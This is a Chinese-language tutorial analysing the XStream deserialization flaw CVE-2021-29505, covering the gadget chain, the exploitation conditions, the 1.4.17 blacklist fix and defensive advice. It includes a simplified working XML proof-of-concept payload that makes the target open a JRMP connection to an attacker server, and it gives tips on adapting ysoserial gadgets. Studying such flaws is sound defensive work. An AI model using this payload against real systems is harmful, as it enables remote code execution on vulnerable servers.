XStream CVE-2021-29505分析与简化
字数 1170 2025-08-09 22:16:00
XStream CVE-2021-29505 分析与利用教学文档
1. XStream 基础概念
XStream 是一个 Java 序列化/反序列化库,功能类似于 Java 原生序列化,但有以下特点:
- 可以将对象序列化为 XML 格式
- 可以序列化未继承
java.io.Serializable接口的类的对象 - 当反序列化继承自
Serializable的类时,会调用对象的readObject方法
2. 漏洞背景
CVE-2021-29505 是 XStream 中的一个反序列化漏洞,攻击者可以通过精心构造的 XML 数据触发远程代码执行。
3. 漏洞原理分析
3.1 反序列化机制
XStream 反序列化时:
- 如果类标签中包含
serialization='custom',且该类有readObject方法,则会调用该方法 - 反序列化顺序:先存储父类字段信息,再存储子类字段信息
- 不进行被序列化类的一致性检测(SUID)
3.2 漏洞利用链
原始 PoC 使用了复杂的利用链,但核心是利用 sun.rmi.registry.RegistryImpl_Stub 类:
- 通过
PriorityQueue触发反序列化 - 最终利用
RegistryImpl_Stub发起 JRMP 连接 - JRMP 协议在传输数据时使用 Java 反序列化,导致二次反序列化漏洞
3.3 简化后的 PoC
<sun.rmi.registry.RegistryImpl_Stub serialization="custom">
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>8001</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</sun.rmi.registry.RegistryImpl_Stub>
4. 漏洞利用条件
- 目标系统必须包含相关 gadget 类
- 目标系统必须能够连接到攻击者控制的 JRMP 服务器
- 目标系统必须运行在受影响的 XStream 版本上
5. 漏洞修复方案
XStream 1.4.17 的修复措施:
- 将与 RMI 相关的类名加入黑名单
- 包括但不限于
sun.rmi.registry.RegistryImpl_Stub等类
6. 防御建议
- 升级到最新版本的 XStream
- 自定义更严格的黑名单
- 避免在不信任的环境中使用 XStream 反序列化功能
- 考虑使用白名单机制替代黑名单
7. 分析技巧
- 分析 XStream 反序列化漏洞时,重点查看类的
readObject方法 - 可以复用 ysoserial 中的 gadget,转换为 XStream 格式
- XStream 的 gadget 相对容易挖掘,因为可以反序列化任意类
8. 相关知识点
- JRMP 协议的反序列化特性
- Java RMI 机制
UnicastRef类的利用方式PriorityQueue在反序列化中的常见利用方式
9. 扩展思考
- 除了 RMI 相关类,WebLogic 包中也有许多与 RMI 相关的可利用类
- 黑名单机制的局限性,如何设计更安全的反序列化方案
- 其他可能存在的类似利用链